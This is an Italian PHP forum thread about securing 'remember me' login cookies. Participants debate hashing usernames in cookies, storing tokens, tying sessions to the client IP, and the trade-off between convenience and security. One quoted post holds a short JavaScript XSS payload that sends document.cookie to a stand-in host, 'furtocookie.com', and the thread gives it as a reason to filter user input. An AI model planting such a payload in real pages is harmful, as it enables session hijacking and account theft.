furto dei cookie e riutilizzo

[k.b]

Originariamente inviato da oly1982
non ci sono nemmeno io...
che senso ha cryptare l'username??

un utente ha 2 cookie username hashato e token (codice univoco, salvato nel db)
se all'accesso sul mio sito se esistono i due cookies (faccio la tua query) e se i dati coincidono con quelli nel db => utente loggato
a quel punto l'username è in chiaro "Benvenuto Tizio!" (con username in chiaro)

Se tu salvi l'username in chiaro, chi ruba i cookie conosce lo username e puo' usarlo per fare un login "legittimo", deve "solo" indovinare la password.
Se salvi l'username in versione hash, chi ruba i cookie NON SA cosa scrivere nel form di login.

[Samleo]

Si ma scusate, secondo me il problema si pone lo stesso.

Passo 1:

Mi loggo la prima volta, voglio che vengano salvati dei cookie in modo tale da tenermi sempre loggato!

All'atto del login, vengono creati due cookie: username e token.

Quindi se domani riaccedo al sito, ho i due cookie salvati, e posso riaccedere al sito senza fare login!

Passo 2:

Voglio evitare che mi rubino l'identità. Quindi hasho l'username in fase di login e creo il cookie con l'hash dell'username.

Domani torno sul sito..come azz fa a riconoscere che l'hash dell'username che ho salvato nel PC tramite cookie corrisponde all'utente "test" ?!?!?!?

Lo so perfettamente che non si può fare login con un hash, ma infatti è quello che non capisco.

Se io nel form inserisco test e nel cookie salvo m02kd0s92js0w92psksla0 , se domani torno al sito e tento di far il login in "automatico" ovviamente non lo farà!

[oly1982]

Originariamente inviato da Samleo
Si ma scusate, secondo me il problema si pone lo stesso...

I tuoi dubbi sono pari pari ai miei!!

[k.b]

Allora per il punto 1 come detto NON SI PUO' FARE NULLA. Una volta che uno si impadronisce dei cookie e' come se fosse l'utente originale. Pero' la sicurezza e la comodita' sono sui due piatti di una bilancia: se alzi uno abbassi l'altro e viceversa.
Massima sicurezza: login richiesto per OGNI pagina visitata -> minima comodita' per l'utente
Massima comodita': login una volta ricordato per sempre -> minima sicurezza
Quindi bisogna trovare una via di mezzo e - secondo me - i cookie che scadono dopo un po' di tempo (non so, qualche ora) possono essere accettabili se la sicurezza e' importante. Se si vuole il login permanente allora bisogna accettare il fatto che un furto di cookie puo' in teoria garantire accesso permanente al ladro.

Per il punto 2 mi sembrava ovvio che nel database QUANDO CREI L'UTENTE registri SIA lo username in chiaro SIA la sua versione criptata. Quindi quando riconosci un utente il suo nome in chiaro lo estrai dal database.

[bubi1]

Originariamente inviato da Samleo
Scusa, ma se io sniffo i cookie, e prelevo il cookie hashato e criptato, e poi provo a fare il login tramite cookie con quei dati sniffati, in teoria eseguo lo stesso il login no?

Perchè tanto lui accetta i codici criptati.

O forse ho capito male!

Puoi essere più chiaro?

Beh, tu avevi chiesto come si faceva ad eseguire il controllo sul db, io ho risposto a quello.

Per quanto riguarda il senso di criptare l'user/pass, chiariamo subito una cosa: se uno ruba un cookie valido (sniffandolo o copiandolo da un pc) non c'e' nulla che possa impedirgli di loggarsi sul sito. Questo comunque fa parte dei rischi inevitabili, come quello quando il malware frega le pass salvate nei browser degli utenti - e in questo caso non puoi fare veramente nulla.

Criptare l'username ha senso come misura di protezione aggiuntiva contro eventuali spyware ruba-password presenti sul pc dell'utente e altra roba simile.
Altro esempio: Uno ti sniffa il traffico quando fai il tuo login, e ti ruba il cookie. Il tuo sito ha regenerato l'id/token/quello che e', e i dati sniffati non sono piu' validi, e poi hai anche fatto logout quindi non hai un nuovo cookie. Se nei dati sniffati c'e' un login in chiaro, quello teoricamente potrebbe essere usato per un bruteforce.
Comunque, personalmente ritengo criptare le username come cosa misura eccessiva nella maggiorparte dei casi, non lo faccio quasi mai. Anzi, ad essere sinceri non implemento quasi mai neanche tutto l'autologin, ormai qualsiasi browser decente ha gia' l'opzione per ricordare la password.

Criptare la password+il salt ( o usare un token) ha senso perche' se un utente malintenzionato riesce a loggarsi su un sito attraverso un cookie, non potra mai cambiare la sua password/email/altri dati importanti non conoscendo la password vecchia (se il sito e' fatto bene, naturalmente).
Potra solo impersonificare l'utente vero - e se questo puo' avere conseguenze fatali, e' meglio non usare l'autologin.
Intendiamoci: l'avete mai visto su un sito di homebanking?

[bubi1]

Originariamente inviato da Samleo

Domani torno sul sito..come azz fa a riconoscere che l'hash dell'username che ho salvato nel PC tramite cookie corrisponde all'utente "test" ?!?!?!?

Lo so perfettamente che non si può fare login con un hash, ma infatti è quello che non capisco.

Se io nel form inserisco test e nel cookie salvo m02kd0s92js0w92psksla0 , se domani torno al sito e tento di far il login in "automatico" ovviamente non lo farà!

ho gia' postato sopra la query per questo.. e se la tabella e' grande, meglio avere una seconda colonna con il hash gia' salvato, come dice k.b.

[oly1982]

Originariamente inviato da k.b
NON SI PUO' FARE NULLA... la sicurezza e la comodita' sono sui due piatti di una bilancia...

wow... che deludente conclusione... cmq grz mille

Originariamente inviato da k.b
Le sessioni non risolvono niente perche' tanto il session id viene propagato tramite cookie.

E' vero ma (sempre leggendo sulla rete) ho scoperto un escamotage per rendere il furto dell'id di sessione immune di efficacia... ve lo espongo per avere conferma:

if(checklogin($user, $pass)=== TRUE)
   {
   $_SESSION['user_loggato']= $user;
   $_SESSION['id_loggato']= $id_user_nel_db; // per fare le query su i sui dati
   $_SESSION['token']= sha1(uniqid(microtime(), true)); // per prevenire cross scripting (soprattutto in get)
// e qui viene il mio "trucchetto"
   $_SESSION['ip_utente_loggato'] = $_SERVER['REMOTE_ADDR'];
   } 

Salvando l'ip dell'utente ad ogni richiesta di permessi oltre a verificare l'isset delle 4 variabili di sessione verifico che l'ip coincide con quello salvato al momento del login!!

if(isset($tutte_le_variabili_di_sessione_login))
   {
   if($_SESSION['ip_utente_loggato'] != $_SERVER['REMOTE_ADDR'])
      {
      exit('e tu chi sei??!');
      }
   else
      {
      echo 'tutto ok';
      }
   } 

Se qualcuno rubasse id di sessione non se ne farebbe nulla in quanto dovrebbe anche conoscere l'ip dell'utente vittima del furto, e dovrebbe impostarsi l'ip uguale a quello (cosa che non sò se è possibile tramite qualcosa)

[bubi1]

Originariamente inviato da oly1982
Infatti js riesce a leggere i cookie dell'oggetto cookie e pertanto se, ad esempio, in un commento ad una news si riuscisse ad inserire una cosa di questo tipo:

<script>
var manda_cookie_tramite_img = new Image();
manda_cookie_tramite_img.src = "//furtocookie.com/?" + encodeURIcomponent(document.cookie);
</script>

Qui c'e' un altra cosa che va chiarita: con o senza l'autologin, se non ti proteggi dagli attacchi XSS sei esposto comunque, perche' uno potrebbe rubare e utilizzare anche una sessione attiva in questo modo, non necessariamente i dati dell'autologin.

[Samleo]

Originariamente inviato da k.b
Per il punto 2 mi sembrava ovvio che nel database QUANDO CREI L'UTENTE registri SIA lo username in chiaro SIA la sua versione criptata. Quindi quando riconosci un utente il suo nome in chiaro lo estrai dal database.

E cosa cambia scusa? Nel momento in cui frego l'has, se il controllo è fatto anche sul campo criptato, non vengo loggato ugualmente??

Originariamente inviato da oly1982
Salvando l'ip dell'utente ad ogni richiesta di permessi oltre a verificare l'isset delle 4 variabili di sessione verifico che l'ip coincide con quello salvato al momento del login!!

Poi magari l'utente ha una connessione telecom, e ad ogni connessione cambia IP, e il controllo rende inutile il salvataggio del cookie

Ancora non è stata chiarita una procedura per evitare lo sniffing dell'identità, fermo restando l'autologin ad ogni visita

[oly1982]

Originariamente inviato da bubi1
se non ti proteggi dagli attacchi XSS sei esposto comunque

nel mio primo post ho scritto:

Originariamente inviato da oly1982
il sito furtocookie.com otterra i cookie dell'utente che visita la mia pagina. Da qui:
- necessita di filtrare gli input (strip_tags, htmlentities, etc etc)
- non salvare dati sensibili nei cookies

è questa la protezione a cui ti riferisci... se no fammi un esempio che questo topic mi sta chiarendo molti dubbi che avevo!